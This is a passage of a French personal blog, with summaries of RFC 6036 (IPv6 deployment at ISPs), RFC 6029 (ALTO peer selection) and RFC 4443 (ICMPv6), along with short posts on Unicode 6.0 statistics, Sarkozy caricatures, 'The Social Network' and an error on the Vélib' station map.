Plusieurs RFC couvrent ce champ. Par exemple, le RFC 4029 parle du déploiement chez un FAI, et prévoit la « double pile » (v4 et v6) sur tous les équipements. Compte-tenu du retard pris et de l'épuisement des adresses v4, cela ne sera sans doute pas possible et il faut aujourd'hui envisager la cohabitation et la communication entre des machines purement v4 et d'autres purement v6. Le RFC 5211 est une vision plus générale du déploiement d'IPv6, les FAI étant juste un cas particulier. Le RFC 4779 documente le déploiement de IPv6 dans des réseaux d'accès courants comme le câble TV ou l'ADSL. Les RFC 5181 et RFC 5121 traitent, eux, des accès 802.16. Les questions de sécurité sont abordées dans le RFC 4942 ainsi que dans le RFC 4864, ce dernier se focalisant sur la protection du réseau local du client.

Les normes IPv6 de base sont assez stables (la plupart des RFC récents n'ont touché qu'aux détails) mais le travail continue activement à l'IETF, par exemple dans des domaines comme la traduction d'adresses.

Place maintenant à l'étude elle-même (section 2). Le questionnaire figure dans l'annexe B. Il a été expédié à des listes d'opérateurs comme NANOG. 31 réponses ont été reçues. Seuls les volontaires répondaient, ce qui biaise évidemment les résultats (une liste - incomplète car certains ont demandé l'anonymat - des répondants figure en section 7). Les auteurs du RFC notent que les FAI qui ont déployé IPv6 étaient probablement plus prompts à répondre. Les réponses étaient confidentielles. Les réponses agrégées figurent dans l'annexe A.

Que trouve t-on dans ces réponses ? Les répondants fournissent de l'accès à l'Internet par un grand nombre de moyens (section 2.2), xDSL, DOCSIS, Ethernet, WiMAX et bien d'autres. Sur les adresses IP utilisées, plusieurs répondants poussent le négationnismes jusqu'à dire qu'ils n'auront jamais d'épuisement des adresses IPv4, les autres répondants citant, pour leur propre pénurie, des dates entre 2010 et 2015. En 2010, plusieurs FAI en Asie - 19 % des répondants - n'ont déjà plus une seule adresse IP publique et allouent du RFC 1918 à leurs clients ; ceux-ci n'ont donc pas un vrai accès Internet. 39 % des répondants utilisent des adresses privées en interne.

42 % des répondants ont déjà une offre IPv6 (section 2.4), mais moins d'1 % de clients l'utilise. 48 % des répondants ont une telle offre en travaux, avec l'idée d'ouvrir entre 2010 et 2013 (rappelez-vous que les réponses n'ont pas été vérifiées...) Donc, 10 % des répondants, en 2010, moins d'un an avant l'épuisement de la réserve IANA, ne font rien... Le pronostic sur le dépassement d'IPv4 par IPv6 en terme de trafic varie évidemment mais tourne autour de 2015.

Quelle technique de déploiement ? 94 % des répondants ont une épine dorsale en double-pile (section 2.5). 39 % ont ou bien vont avoir un relais 6to4 (je n'ai pas vérifié si cela incluait les relais 6rd comme ceux de Free) et 16 % du Teredo. Une des questions portait sur « les systèmes qui ne gèrent pas IPv6 ». Si les gros routeurs de l'épine dorsale sont évidemment tous prêts pour IPv6 depuis très longtemps, le maillon faible concerne plutôt des systèmes plus discrets : les CPE sont le plus souvent cités mais aussi les DSLAM, les répartiteurs de charge ou des logiciels comme celui de gestion des adresses IP des clients ou bien le système de facturation. À la question de savoir si des engins comme les CPE pourraient être mis à jour, beaucoup de réponses étaient « nous l'espérons »...

Parmi ceux qui allouent des adresses IPv6, les préfixes existants vont d'un /19 à un /48 (!) et celui alloué au client va de /48 à /64 en passant par plusieurs /56 (le RFC 6177 donne des recommandations à ce sujet). Pour déléguer le préfixe du client à la CPE, les méthodes vont de la configuration manuelle à DHCPv6 et SLAAC (StateLess Address AutoConfiguration). Certains utilisent Radius ou PPPoE bien qu'ils n'aient pas de moyen standard de déléguer un préfixe.

La moitié des répondants gèrent déjà des serveurs double-pile (SMTP, HTTP, IMAP). Des systèmes internes comme la surveillance du réseau semblent également v6isés à 50 % alors que les systèmes de facturation et de compatibilité, dejà cités, ne le sont qu'à 23 %.

Comment gérer la coexistence d'IPv4 et IPv6 ? 58 % des FAI ne croient pas aux clients « fixes » purement v6. Interrogés sur la date où la dernière application purement v4 disparaitra, les réponses sont souvent du type « au moins dix ans ». Il faudra donc gérer la coexistence. Sur ce point, la section 2.5 ne montre aucun consensus sur les solutions : un traducteur du genre NAT, par exemple, ou bien d'autres mécanismes pas forcément précisés.

Certains FAI ont IPv6 en production depuis des années. Quelles expériences peuvent-ils en tirer ? La section 3 fait le point. Ceux qui ont fait le choix de la double pile native (c'est le cas de Nerim en France) en sont contents. Mais ceux ceux qui utilisent 6to4 ou 6rd aussi. La plupart des répondants estiment a posteriori que le passage à IPv6 était plutôt facile, une opération qu'ils classent dans la catégorie « comment arriver à manger un éléphant ? » (la réponse est « une bouchée à la fois »). Les difficultés rencontrées portaient sur la difficulté à convaincre certains (il existe encore des négationnistes qui, cherchant à justifier leur inaction, prétendent que l'épuisement des adresses IPv4 est un faux problème) et, naturellement, sur le fait que, comme tous les changements d'infrastructure qui n'apportent pas un bénéfice immédiat et visible, le passage à IPv6 est difficile à justifier auprès de la direction, qui ne voit que l'intérêt financier immédiat. Des problèmes moins connus sont aussi soulevés, comme l'importance d'impliquer les gens qui font le support utilisateur, puisque certaines applications mal écrites ne se rabattront pas sur IPv4 si une connexion IPv6 échoue, ce qui peut entraîner des protestations des clients.

Puisqu'on parle des problèmes, quels sont les principaux manques à l'heure actuelle, pour le FAI qui veut passer à IPv6 ? La section 4 liste les réponses faites à ce sujet :

  • Les produits « bas de gamme » qui ne gèrent pas IPv6 (CPE, appliances SIP, IDS, ...). Sans compter ceux chez qui IPv6 est bogué, ou incomplet (un répondant cite le cas d'un CPE théoriquement IPv6 mais dont les fonctions de shaping ne marchaient qu'en IPv4) ou bien plus lent qu'IPv4. Dans le domaine du logiciel, si le logiciel libre n'est pas trop mal placé, beaucoup de logiciels commerciaux ne gèrent toujours pas IPv6.
  • L'offre de protocoles n'est pas encore complète (et, contrairement au point précédent, celui-ci est sous la responsabilité directe de l'IETF). La section 4.2 note que les répondants estiment qu'il n'existe pas de protocoles satisfaisants pour la délégation d'un préfixe v6 à la CPE, pour les mécanismes de contrôle des pare-feux comme UPnP, pour l'allocation d'adresses IP avec PPPoE ou Radius. (À noter que les réponses sont parfois mal informées ; ainsi, la demande d'un VRRP v6 a été satisfaite dans le RFC 5798 et celle d'une indication des serveurs DNS dans les Router Advertisement dans le RFC 6106. Le problème est donc en réalité désormais un problème de mise en œuvre et de déploiement, plus de protocole. Le cas inverse arrive aussi, où le FAI qui envisage de déployer v6 n'est pas conscient des limites de certains protocoles, voir la section 4.3.)
  • Enfin, des gros problèmes qui ne peuvent pas être résolus par les programmeurs ou par l'IETF demeurent : difficulté à trouver un vendeur de transit IPv6 en Amérique du Nord ou en Asie, problèmes de PMTU persistants, ...

Téléchargez le RFC 6036


L'article seul

RFC 6029: A Survey on Research on the Application-Layer Traffic Optimization (ALTO) Problem

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : I. Rimac, V. Hilt, M. Tomsu, V. Gurbani (Bell Labs, Alcatel-Lucent), E. Marocco (Telecom Italia)
Pour information
Première rédaction de cet article le 23 octobre 2010


Dans le cadre des travaux menés à l'IETF (groupe de travail ALTO, RFC 5594, etc) et à l'IRTF sur le problème de l'optimisation du transfert de fichiers en pair-à-pair, ce RFC sert de bibliographie : il rassemble des pointeurs, classés et organisés, sur la littérature existante en matière d'optimisation, de recherche du « meilleur pair ».

Le pair-à-pair est un concept difficile à définir et encore plus à mesurer. D'autant plus, même si le RFC ne mentionne pas ce problème, que la répression dont il fait l'objet à l'instigation des ultras de l'appropriation intellectuelle oblige ses utilisateurs à diverses astuces pour dissimuler son utilisation, rendant ainsi les statistiques difficiles. Par exemple, les estimations de la part de trafic qui revient au pair-à-pair varient de 40 à 85 %... Une chose est sûre, cela représente un trafic important, et qu'il est donc logique de chercher à optimiser. Lorsqu'on utilise le pair-à-pair pour des transferts de fichier (avec des systèmes comme BitTorrent), le contenu convoité est répliqué sur de nombreux pairs à travers le monde (section 1 du RFC). Le problème est « Quel pair utiliser ? » Isolé, le pair qui veut récupérer un fichier ne peut utiliser que le hasard, ou bien des mesures qu'il fait lui-même et qui sont souvent imparfaites (par exemple, la mesure de la latence avec un ping ne donne qu'une vague idée du débit qu'on obtiendra). La DHT typique ne donne que des optimisations locales, qui ne sont pas forcément bonnes globalement. C'est le problème central de l'optimisation, décrit dans le RFC 5693.

Il y a plusieurs solutions à ce problème, comme des réseaux de machines faisant des mesures applicatives et donnant accès au résultat de ces mesures (Azureus le fait), ou bien comme des fournitures d'information aux pairs par le FAI, pour que les destinataires puissent prendre des décisions informées. Ce RFC résume la littérature existante sur ces solutions, en s'appuyant sur le RFC 4981.

La section 2 du RFC examine les résultats de recherche publiés sur ce thème, comme « The impact of DHT routing geometry on resilience and proximity » de Gummadi, K., Gummadi, R., Gribble, S., Ratnasamy, S., Shenker, S., et I. Stoica, qui étudie la relation entre le réseau overlay de plusieurs algorithmes de DHT et le réseau physique sous-jacent. Leur conclusion est notamment que les géométries les plus simples (comme l'anneau) sont les meilleures.

Pour les autres résultats de recherche, la section 2 les classe en deux groupes : les méthodes fondées sur des mesures faites uniquement par l'application (comme Meridian) et celles fondées sur une coopération entre les couches (comme P4P).

Les premières sont traitées plus en détail dans la section 2.1. L'idée de base est que les machines mesurent un coût (typiquement, la latence) par rapport à un certain nombre d'amers et qu'on peut ensuite calculer le coût de la communication entre deux machines, par le biais d'un système de coordonnées Internet. C'est ainsi que fonctionnent IDmaps ou GNP. Tous les deux dépendent d'un réseau d'amers stables. Au contraire, Vivaldi est entièrement distribué et c'est le système utilisé dans le client BitTorrent Azureus.

Les algorithmes cités dans le paragraphe précédent forment une sous-catégorie du groupe « Mesures faites par l'application ». Cette sous-catégorie est celle des systèmes de coordonnées explicites, qui essaient, à coup de mesures, de déterminer la topologie sous-jacente. Dans un réseau aussi complexe que l'Internet, où des inégalités aussi simples que l'inégalité triangulaire (qui dit que le coût pour aller de A à C est inférieur ou égal au coût de A à B plus celui de B à C) ne sont pas forcément vraies, il n'est pas évident qu'une telle approche soit efficace. D'où la seconde sous-catégorie, basée sur une mesure des distances. Moins générales, ces méthodes (dont la plus connue est Meridian) sont peut-être plus réalistes.

Dans tous les cas, toutes les mesures faites par les applications doivent se poser la problème de ce qu'on mesure. Le plus simple est de mesurer la latence (ce que fait, par exemple, la commande ping). Or, des métriques comme la capacité (RFC 5136) ou comme le taux de pertes de paquets (RFC 7680) seraient sans doute plus utiles. Plus difficiles à estimer par des mesures actives, elles conviennent par contre bien aux mesures passives (voir « Internet tomography » de Coates, M., Hero, A., Nowak, R., and B. Yu et ou iPlane).

Toutes les techniques de la section 2.1, où l'application cherche à se faire une idée de la topologie du réseau souffrent des mêmes problèmes : l'Internet est compliqué (section 3). Par exemple, le chemin le plus court n'est pas forcément le meilleur. Et la topologie ne renseigne pas sur les coûts financiers des liens, par exemple sur le fait que le transit est plus cher que le peering. Enfin, comme toutes les mesures actives, elles ajoutent à la charge du réseau.

Deuxième groupe, dans la section 2.2, les méthodes fondées sur une coopération entre les couches. Ce sont celles où l'application, au lieu de devoir faire les mesures elle-même, peut interroger un service qui a été configuré (typiquement par le FAI) avec des informations sur le réseau, sa capacité, son coût, etc. La plus connue est P4P (section 2.2.1) où des serveurs, les iTrackers, sont interrogés par les applications qui récupèrent ainsi des informations utiles. Des expériences, par exemple celle décrite dans le RFC 5632 indiquent que les gains de temps pour un téléchargement peuvent dépasser un facteur 2. Si le RFC ne parle pas des problèmes politiques, on note que ce mécanisme nécessite que le FAI soit prêt à révéler une partie de la structure de son réseau.

Une autre solution, décrite dans la section 2.2.2, est celle des « oracles » où l'application, au lieu d'avoir accès à des informations sur le réseau, fournit une liste de pairs potentiels et l'oracle lui indique les plus favorables. Là encore, le RFC ne rentre pas dans les questions politiques mais on voit que l'oracle acquière beaucoup d'informations sensibles, notamment sur les pairs avec qui on communique.

Une variante (section 2.2.3) du cas de l'oracle est celui où les deux machines qui veulent communiquer se connaissent déjà mais hésitent sur les adresses IP à utiliser, puisque ce choix influencera le chemin pris (cela ne concerne évidemment que les machines ayant plusieurs adresses). Cette approche, utilisée dans le système IDIPS (voir Saucez, D., Donnet, B., and O. Bonaventure, « Implementation and Preliminary Evaluation of an ISP-Driven Informed Path Selection », CoNEXT 2007) pourrait être utilisé pour le pair-à-pair en considérant l'ensemble des pairs possibles comme étant une immense machine virtuelle qu'on cherche à atteindre, un genre d'anycast.

Bien des questions restent ouvertes à l'heure actuelle (section 4). Ainsi, le problème des machines malveillantes qui vont essayer, dans le cas où le système de mesure est distribué, de perturber les mesures ou d'injecter de faux résultats (section 4.2). Dans un réseau de la taille de l'Internet, et compte-tenu du fait que certains ont un intérêt financier à limiter le partage de fichiers, il ne fait guère de doute qu'il y aura de telles machines pirates. Il n'existe pas actuellement de solutions miracles contre elles. Des tests de vraisemblance ont été proposés, pour vérifier si les mesures d'une machine ne s'écartent pas trop de celles des autres. Mais ces tests sont souvent fondés sur des suppositions qui ne sont pas forcément vraies sur l'Internet (comme l'inégalité triangulaire citée plus haut). Dans les cas où les pairs interrogent un oracle, la question de l'authentification de l'oracle est également cruciale. Mais les réseaux pair-à-pair se prêtent mal aux lourdes solutions d'identité comme les PKI.

Une variante de ce dernier problème se pose d'ailleurs au sujet de l'intégrité des données transmises (section 4.3). Ce n'est pas tout d'authentifier le pair ou l'oracle, encore faut-il être sûr que les informations reçues n'ont pas été modifiées en cours de route. Une telle modification permettrait, par exemple, d'affecter un coût très faible à une cible et de faire réaliser ainsi une dDoS contre elle (RFC 4732).

Enfin, parmi les différents problèmes encore largement ouverts, on peut citer les cas où l'optimisation marche trop bien (section 4.6). Poussée à l'extrême, en effet, l'optimisation ferait que les pairs ne s'adressent qu'à des pairs très proches, chez le même FAI et dans la même région. Les grands essaims pair-à-pair se fragmenteraient alors en essaims locaux, n'ayant pas de communication entre eux, ce qui réduirait la redondance qui fait la solidité du pair-à-pair (voir « Pushing BitTorrent Locality to the Limit » de Stevens Le Blond, Arnaud Legout et Walid Dabbous).


Téléchargez le RFC 6029


L'article seul

Marre des gens qui se moquent de la taille de Sarkozy

Première rédaction de cet article le 17 octobre 2010


Je viens encore de voir (dans Charlie Hebdo mais ça se trouve aussi ailleurs, malheureusement) une Nième caricature qui se moque de la petite taille de Nicolas Sarkozy. C'est exaspérant : s'il a choisi sa politique, il n'a pas choisi sa taille. Se moquer des caractéristiques physiques des gens, c'est au minimum con et facile, au pire aux limites du fascisme, lorsqu'on ne respecte que les grands blonds musclés. (Oui, j'ai bien dit « du fascisme » et tant pis pour mes points Godwin.)

Je trouve désolant que tant de gens « de gauche » attaquent Sarkozy sur ce point, à coup de caricatures méchantes et de surnoms ridicules. Il n'y a donc rien à dire sur sa politique ? Sur ses innombrables cadeaux aux riches, à commencer par le bouclier fiscal ? Sur la manière répugnante dont il ranime le racisme anti-rom pour faire oublier les liens d'un de ses ministres avec une milliardaire ? Sur ses lois ultra-répressives contre l'Internet comme la loi Hadopi, créée pour le plaisir et le profit des ses amis de l'industrie du divertissement ? Sur les coupes brutales des budgets comme l'éducation (suppression de la formation pédagogique pour les futurs profs, suppression de postes de personnels non-enseignants qualifiés, etc) ou sur ses attaques contre la retraite des pauvres (la sienne sera assurée par ses amis du Fouquet's) ?

Normalement, la politique se fait sur les discours et les actes des gens. Se moquer de la taille d'un politicien, c'est descendre au niveau d'un Frédéric Lefebvre ou d'un Brice Hortefeux.


L'article seul

RFC 4443: Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6) Specification

Date de publication du RFC : Mars 2006
Auteur(s) du RFC : A. Conta (Transwitch), S. Deering (Cisco), M. Gupta (Tropos)
Chemin des normes
Première rédaction de cet article le 17 octobre 2010


Il y a un protocole peu connu dans le monde IP, c'est ICMP. Situé dans les couches basses, il ne sert pas directement aux applications, à part à ping, avec qui il est souvent confondu (c'est ainsi que pas mal de blaireaux administrateurs d'un pare-feu bloquent tout ICMP parce qu'ils se disent qu'il n'ont pas besoin de ping). ICMP pour IPv4 était normalisé dans le RFC 792 et la version (très proche) qui sert pour IPv6 était dans le RFC 2463, désormais remplacé par notre RFC 4443.

En quoi consiste ICMP ? Techniquement parlant, il est situé au dessus d'IP dans le modèle en couches, son champ Next Header portant le numéro 58. Mais, en fait, ce protocole est une partie intégrante d'IP. Il sert à transporter les messages liés au fonctionnement d'IP, par exemple à prévenir si un routeur ne peut plus acheminer les paquets car il n'a plus de route pour cette destination, ou bien à prévenir qu'un paquet est trop gros pour la MTU du lien suivant. ICMP v6 sert aussi à bâtir d'autres protocoles, comme NDP (RFC 4861), qui utilise des messages ICMP pour permettre la découverte d'une machine voisine sur le réseau local. ICMP faisant partie intégrante d'IP (cf. section 2), ce RFC 4443 fait donc partie des lectures indispensables pour qui veut comprendre la version 6 d'IP.

Le format des messages ICMP v6 est en section 2.1. Après l'en-tête IPv6 et zéro, un ou plus en-têtes d'extension (par exemple pour la fragmentation) arrive la partie purement ICMP, introduite par un champ Next Header valant 58. Les trois champs communs à tout paquet ICMP sont ensuite le type (huit bits), le code (huit bits) et une somme de contrôle (seize bits, définie en section 2.3). Voici comment Wireshark le représente en C :

struct icmp6_hdr {
	guint8	icmp6_type;	/* type field */
	guint8	icmp6_code;	/* code field */
	guint16	icmp6_cksum;	/* checksum field */
	union {
		guint32	icmp6_un_data32[1]; /* type-specific field */
		guint16	icmp6_un_data16[2]; /* type-specific field */
		guint8	icmp6_un_data8[4];  /* type-specific field */
	} icmp6_dataun;
};

Comme l'indiquent les commentaires dans le source de Wireshark, le format des données dépend du type. Il y a deux catégories de types, ceux qui indiquent une erreur (de 0 à 127) et les autres. Il existe de nombreux types possibles (stockés dans un registre IANA, cf. section 6). Parmi ceux définis directement par ce RFC, pour vous donner une idée :

  • 1 est envoyé par un routeur lorsque la destination n'est pas joignable,
  • 2 indique un paquet trop gros pour la MTU,
  • 3 indique que le nombre de routeurs traversé a atteint une limite (il est donc utilisé par traceroute) : on notera que le RFC l'appelle « Time exceeded », comme en IPv4, alors que le champ correspondant du paquet n'est officiellement plus un TTL en IPv6 mais un nombre de routeurs (hop count),
  • 100 et 101 sont réservés pour des expérimentations,
  • 128 (qui n'est donc pas une erreur, puisque > 127) est la demande d'un écho et 129 la réponse. Ce sont donc les deux types utilisés par ping.

Notez que les valeurs ne sont pas du tout les mêmes qu'en IPv4, même lorsque la sémantique est la même.

Le format détaillé figure en section 3. Ainsi, lorsque le type est 1 (Destination unrechable), le code indique la raison pour laquelle la dite destination était injoignable : 0 pour « aucune route disponible », 1 pour « interdit » (par un pare-feu), 3 pour « machine injoignable » (on est sur le bon réseau mais la machine de destination ne répond pas), etc. traceroute traduit ces codes en lettres précédées d'un ! donc respectivement !N, !X et !H.

Le cas du type 2, « paquet trop gros » (section 3.2) est intéressant car les routeurs IPv6, contrairement à leurs frères IPv4, n'ont pas le droit de fragmenter. La source doit donc prendre garde de ne pas générer des paquets plus gros que la MTU du chemin (cf. RFC 1981) et, pour cela, a besoin de ces paquets ICMP de type 2 (qui comprennent, après les trois champs génériques, un champ de 32 bits indiquant la MTU du prochain lien). Hélas, beaucoup de pare-feux sont gérés par des ignorants et bloquent tout l'ICMP. Ces paquets n'arrivent donc pas à la source et celle-ci ne peut plus ajuster la taille des paquets. C'est un des problèmes réseau les plus courants avec IPv6, que l'on voit dès que la MTU est inférieure aux traditionnels 1500 octets, par exemple parce qu'il y a un tunnel sur le trajet.

Les paquets liés à la fonction écho comprennent quant à eux un identificateur et un numéro de séquence (sections 4.1 et 4.2), de seize bits chacun. Copiés automatiquement dans la réponse, ils servent à mettre en correspondance une réponse avec une question (au cas où plusieurs utilisateurs d'une machine se servent de ping en même temps).

Quelle adresse IP source doit être utilisée lorsqu'un équipement IPv6 génère un paquet ICMP ? La section 2.2 est claire : si le paquet ICMP répond à un message qui était adressé personnellement à la machine (cas d'un ping), l'adresse source doit être celle à qui était adressé le message. Sinon (cas d'un routeur qui doit traiter un paquet qui ne lui est pas destiné), l'adresse source doit être une adresse unicast du routeur émetteur.

Reprenant les principes du RFC 1122, notre RFC spécifie, en section 2.4, les règles à suivre lors du traitement de paquets ICMP. Ainsi, les messages d'information de type inconnu doivent être ignorés (pour permettre leur introduction ultérieure sans rien casser). Comme en IPv4, un équipement IPv6 ne doit jamais répondre à un message ICMP d'erreur (pour éviter les boucles). Les messages d'erreur à propos d'un paquet doivent inclure autant d'octets que possible du paquet original sans toutefois dépasser les 1260 octets qui sont le minimum qu'un réseau doit accepter pour faire de l'IPv6 (cette règle est plus stricte que la règle IPv4 originale qui n'imposait pas de remplir le paquet au maximum). Autre point où ICMP v6 diffère, la limitation du nombre de paquets ICMP émis est obligatoire, pour éviter certaines attaques où le méchant convainc un routeur de générer des paquets ICMP en rafale. La méthode recommandée pour ce rate-limiting est le seau qui fuit. Les méthodes simplistes (du genre « un paquet émis toutes les N milli-secondes »), qui ne peuvent pas faire face à du trafic très variable (comme celui de traceroute) sont par contre déconseillées. Les paramètres du seau devraient être configurables (Linux permet apparemment cette configuration mais je n'ai pas regardé la documentation du paramètre sysctl net.ipv6.icmp.ratelimit, qui vaut 1000 par défaut, mais 1000 quoi ?).

Contrairement au RFC 792 sur ICMP v4, qui ne disait pas un mot sur la sécurité, notre RFC 4443, écrit à une époque plus sensible, consacre une section, la 5, à ces questions. Elle rappelle qu'il n'y a aucune authentification des paquets ICMP et qu'il ne faut donc pas agir aveuglément sur la base d'un paquet ICMP reçu. On peut toujours, prétend le RFC, utiliser IPsec pour les authentifier mais très peu de gens font cela. À part IPsec, solution peu réaliste aujourd'hui, notre RFC recommande des tests de validité (ou, plus exactement, de vraisemblance) pratiqués par les protocoles de transport, comme ceux du RFC 5927.

Depuis la précédente version, le RFC 2463, ICMP v6 a subi plusieurs changements, résumés dans l'annexe A. Parmi eux, le champ de 32 bits dans les messages d'erreur, après les trois champs génériques, même lorsqu'il est inutilisé (cas le plus fréquent), afin de permettre de le sauter facilement, même avec les types inconnus, pour accéder à la copie du paquet original. On note aussi la réservation de types pour des expérimentations.


Téléchargez le RFC 4443


L'article seul

Nouvelle version d'Unicode, la 6.0

Première rédaction de cet article le 16 octobre 2010


Le 11 octobre a vu la sortie d'une nouvelle version du jeu de caractères Unicode, la 6.0. On peut trouver une description des principaux changements en http://www.unicode.org/versions/Unicode6.0.0/ mais voici ceux qui m'ont intéressé particulièrement.

Pour explorer plus facilement la grande base Unicode, j'utilise un programme qui la convertit en SQL et permet ensuite des faire des analyses variées. Comme la version 6 vient de sortir, vous n'avez probablement pas ses données dans votre /usr/share/unicode ou équivalent. Il faut donc d'abord télécharger les deux fichiers de la nouvelle version :

% wget http://www.unicode.org/Public/zipped/6.0.0/UCD.zip
% wget http://www.unicode.org/Public/zipped/6.0.0/Unihan.zip

et les dézipper dans le répertoire qu'utilise par défaut le programme, ./unicode-data/. Ensuite, plus qu'à taper make, prendre un café, et on se retrouve avec une base de données relationnelle intégrant les nouveaux caractères. Faisons quelques requêtes SQL :

ucd=> SELECT count(*) AS Total FROM Characters;
 total  
--------
 109449

Unicode aproche donc désormais les 110 000 caractères. Conclusion de cet élargissement, la majorité des caractères, pour la première fois dans l'histoire d'Unicode, est désormais en dehors du Plan Multilingue de Base :

ucd=> SELECT count(*) FROM Characters where codepoint > 65535;
 count 
-------
 54854

ucd=> SELECT count(*) FROM Characters where codepoint <= 65535;
 count 
-------
 54595

Cette nouvelle version en a apporté combien de caractères ?

ucd=> SELECT version,count(version) FROM Characters 
            GROUP BY version ORDER BY version;
 version | count 
---------+-------
...
 5.0     |  1369
 5.1     |  1624
 5.2     |  6648
 6.0     |  2088

Donc, une version moyenne, avec 2 088 caractères nouveaux.

Que sont ces nouveaux caractères ? Ils viennent des « nouvelles » écritures comme le brāhmī, des caractères longtemps discutés comme la roupie indienne, ₹ (U+20B9), mais surtout beaucoup des très contestés emoji, très utilisés au Japon dans les téléphones portables :

ucd=> SELECT To_U(codepoint) AS Codepoint, name FROM Characters 
     WHERE version = '6.0';
...
 U+1F4A3   | BOMB
 U+1F300   | CYCLONE
 U+1F302   | CLOSED UMBRELLA
 U+1F303   | NIGHT WITH STARS
 U+1F304   | SUNRISE OVER MOUNTAINS
 U+1F305   | SUNRISE
 U+1F306   | CITYSCAPE AT DUSK

(Vous pouvez aussi regarder à quoi ils ressemblent.) Pour une idée des discussions suscitées, voir l'excellent article de Roozbeh Pournader, l'expert Unicode de l'écriture arabe, qui est allé jusqu'à se pencher sur la mise en œuvre d'Unicode pour un musulman fervent et les problèmes qu'elle peut poser. (Je vous laisse imaginer ce que peut être le caractère U+1F37A contesté...)

Il n'y a pas que des ajouts, il y a aussi des changements. Unicode a des règles de stabilité qui empêchent, par exemple, le retrait d'un caractère et la réaffectation de son point de code. Mais ces règles n'empêchent pas des changements comme l'attribution d'un caractère à une nouvelle catégorie car l'ancienne classification était erronée. C'est ainsi que deux caractères Kannada, ೱ (U+0CF1) et ೲ (U+0CF2) sont passés de la catégorie So (symboles divers) à Lo (lettres diverses). Cela a des conséquences pour d'autres normes qui utilisent Unicode comme les IDN. Ainsi, ce changement de catégorie fait passer ces deux caractères de Interdit à Autorisé dans les noms de domaine (cf. RFC 5892). Bien plus génant est le cas d'un caractère Tai Lue, ᧚ (U+19DA) qui avait été classé par erreur Nd (nombres décimaux) alors qu'il aurait dû être No (autres nombres) ;

ucd=> SELECT To_u(codepoint), name, category FROM Characters 
                 WHERE codepoint=x'19DA'::Integer;
  to_u  |            name            | category 
--------+----------------------------+----------
 U+19DA | NEW TAI LUE THAM DIGIT ONE | No

Résultat, il voyage en sens inverse, des Autorisés vers les Interdits. Cela a suscité un débat vif dans la liste idnabis. Fallait-il suivre Unicode et accepter que des noms de domaines légaux deviennent illégaux ? Cela remettrait en cause la stabilité des IDN. Ou bien fallait-il le mettre dans les exceptions prévues par la section 2.7 du RFC 5892 ? (Cette liste d'exceptions est actuellement vide.) La question a été tranchée dans le premier sens : on n'ajoute pas d'exceptions et les noms qui auraient utilisé U+19DA deviennnent donc illégaux (la décision a été publiée et documentée dans le RFC 6452).


L'article seul

Finalement, je n'ai pas appris comment devenir milliardaire

Première rédaction de cet article le 15 octobre 2010


Je viens de voir « The social network », et, si j'ai beaucoup apprécié l'intrigue haletante, l'action haletante, les dialogues brillants et les excellents acteurs, je suis resté sur ma faim concernant les deux questions fondamentales : « Comment on devient milliardaire » et « Zuckerberg a-t-il triché ? ».

Pour la première question, le film n'apporte pas de réponse : on ne voit que de loin le travail qu'a représenté la construction de Facebook. On devine quelques nuits de codage acharnés (ah, c'est le premier film que je vois avec un wget en gros plan) mais il y a bien plus de scènes dans les bars que devant l'écran.

Pour la deuxième, Zuckerberg a-t-il triché ou pas, on ne saura pas non plus. Bien sûr, un tel film a été tellement scruté par tellement d'avocats des différentes personnes représentées qu'on se doute bien qu'il est difficile de donner le moindre détail concret. On dirait que le film entier a été fait sous NDA. Mais, surtout, c'est difficile au cinéma de représenter les nuances et surtout de montrer ce qu'est le processus de création intellectuelle. Contrairement à ce que prétend l'associé hargneux et procédurier des frères Winklevoss, Zuckerberg n'a pas pu « voler une idée ». Les idées sont partout, n'appartiennent à personne et, des projets de réseaux sociaux, à l'époque, il y en avait des centaines qui flottaient au dessus d'Harvard. Ce n'est pas l'idée qui a fait Facebook, c'est la réalisation (les nuits de codage dont je parlais) et, sur ce point, il ne semble pas que Zuckerberg ait triché. Les frères Winklevoss ont une idée très étroite de la propriété intellectuelle, où une idée de coin de table suffit à assurer un droit à réclamer une part des bénéfices de Facebook.


L'article seul

Corriger les erreurs de la liste des stations Vélib'

Première rédaction de cet article le 12 octobre 2010
Dernière mise à jour le 16 octobre 2010


Comme vous le savez, les administrations et les entreprises ont en commun de ne jamais écouter les remarques des utilisateurs lorsque ceux-ci signalent une bogue dans un logiciel, une erreur dans un site Web, une typo dans un document... L'entreprise qui gère le Vélib' est-elle meilleure que les autres ? On peut corriger les erreurs de la carte mais cela nécessite apparemment d'en parler publiquement.

Tout est parti d'une observation : la station de Vélib' 15027, baptisée GIDE, était mal placée sur les cartes officielles. En effet, la liste canonique, http://www.velib.paris.fr/service/carto indiquait cette station en geo:48.83859768566721,2.314054082163708 (j'utilise les URI de plan geo: du RFC 5870 et des liens vers OpenStreetMap, dont les données sont libres, contrairement à G...Maps). Cela plaçait cette station au coin de la rue André Gide et de la rue du Cotentin. Or, en fait, elle est située deux cents mètres plus au sud, en geo:48.83677661418915,2.312820553779602, au coin de la rue André Gide et de la rue Georges Duhamel.

Y a-t-il un moyen de corriger cette erreur ? C'est là que commence le parcours de l'utilisateur : comme la plupart des autres services anonymes, Vélib' n'aime pas être embêté par les plaintes des utilisateurs. Ainsi, sur le site Web officiel, ni adresse de courrier, ni même formulaire Web de contact. Le lien trompeur « Contactez-nous » sur la page d'accueil ne mène qu'à des formulaires spécifiques pour quatre cas prédéfinis (et le signalement d'une erreur n'y figure pas).

J'ai donc commencé par le téléphone, média pourtant très peu pratique lorsqu'il faut dicter des longitudes et des latitudes exactes ! Deux coups de téléphone au 01 30 79 79 30, en mars 2008 et à nouveau le 4 octobre 2010, n'ont évidemment donné aucun résultat : l'opérateur a répété les phrases creuses habituelles (« Merci d'utiliser Vélib' » et tout ça) mais n'a rien transmis. Le téléphone ne fournissant aucun moyen de suivre une demande (à chaque appel, on tombe sur un opérateur différent, à qui il faut tout réexpliquer, il n'existe pas de système de gestion de tickets, etc), je ne peux pas savoir s'il a mis la remarque à la poubelle tout de suite ou bien si elle a été au moins enregistrée quelque part.

Le blog officiel, plein d'articles enchanteurs sur les avantages qu'il y a à utiliser un Vélib', a pourtant consacré un article pratique à la question, http://blog.velib.paris.fr/blog/trucs-et-astuces/un-probleme-a-signaler/. J'en ai profité pour signaler ce problème par écrit dans les commentaires, sans plus de résultat.

